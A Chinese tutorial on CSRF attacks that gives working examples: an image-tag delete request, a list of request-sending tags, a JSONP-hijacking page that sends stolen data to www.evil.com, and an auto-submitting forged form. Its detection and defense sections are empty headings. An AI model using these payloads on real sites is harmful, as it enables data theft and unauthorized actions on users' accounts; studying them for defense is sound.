【安全系列】CSRF攻击与防御
一、CSRF概述
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作。对于CSRF而言,它的攻击有两个关键点,跨站点的请求与请求是伪造的。
二、CSRF攻击的危害
篡改目标网站上的用户数据
盗取用户隐私数据
作为其他攻击向量的辅助攻击手法
传播CSRF蠕虫
三、攻击原理及过程
或者动态创建一个标签对象(如img、script、iframe)等,将他么的src指向这个链接www.a.com/blog/del?id=1,发出get请求。
然后欺骗用户访问存在XSS脚本漏洞的页面,则发生攻击。
【CSRF实现】
在恶意网站B上写一个CSRF页面(www.b.com/csrf.html)
使用<img src=http://www.a.com/blog/del?id=1 />
然后欺骗已经登陆了目标网站A的用户访问www.b.com/csrf.html页面,由于用户登陆访问过目标A网站不久,它的浏览器与A网站之间的session尚未过期,浏览器中的cookie包含了用户的认证信息。而在IE浏览器中,默认不允许目标A网站的本地cookie在跨域请求中携带,除非在HTTP的响应头设置P3P,这个响应头告诉浏览器允许网站跨域请求资源时带上目标A网站的用户本地cookie,而对于内存cookie是被默认允许的。
四、CSRF攻击分类
<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0; url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<emben src="">
<video src="">
<audio src="">
<a href="">
<table background="">
//CSS样式中
@import ""
background: url("")
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script type="text/javascript">
function jsonpCallback(result) {
alert(result.a);
alert(result.b);
alert(result.c);
for (var i in result) {
alert(i + ":" + result[i]);
}
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>
</body>
</html>
//服务端返回JSON数据
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5);
$result=json_encode($arr);
//动态执行回调函数
$callback=$_GET[‘callback‘];
echo $callback."($result)";
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script type="text/javascript">
function hijack(result) {
var data = '';
for (var i in result) {
data += i + ': '+result[i];
}
new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data); //把数据发送到攻击者服务器上
}
</script>
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</body>
</html>
跨域获取隐私数据
跨域提交数据操作,做一些增、删、改之类的操作。
【跨域获取隐私数据】
如果目标网站的根目录存在crossdomain.xml文件,配置如下:
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
配置中allow-access-from domain="*"表示允许任务域请求本域的资源,如果用户登陆了目标网站,被欺骗访问包含恶意Flash的网页时,隐私就有可能被盗走。
【跨域提交数据操作】
通常情况下会使用HTML CSRF攻击的形式发起攻击:
<form action='http://t.xxx.com/article/updatetweet'
method='post'>
<input type="hidden" name="status" value="html_csrf_here."/>
</form>
<script>document.forms[0].submit();</script>
五、CSRF漏洞检测
六、CSRF攻击防御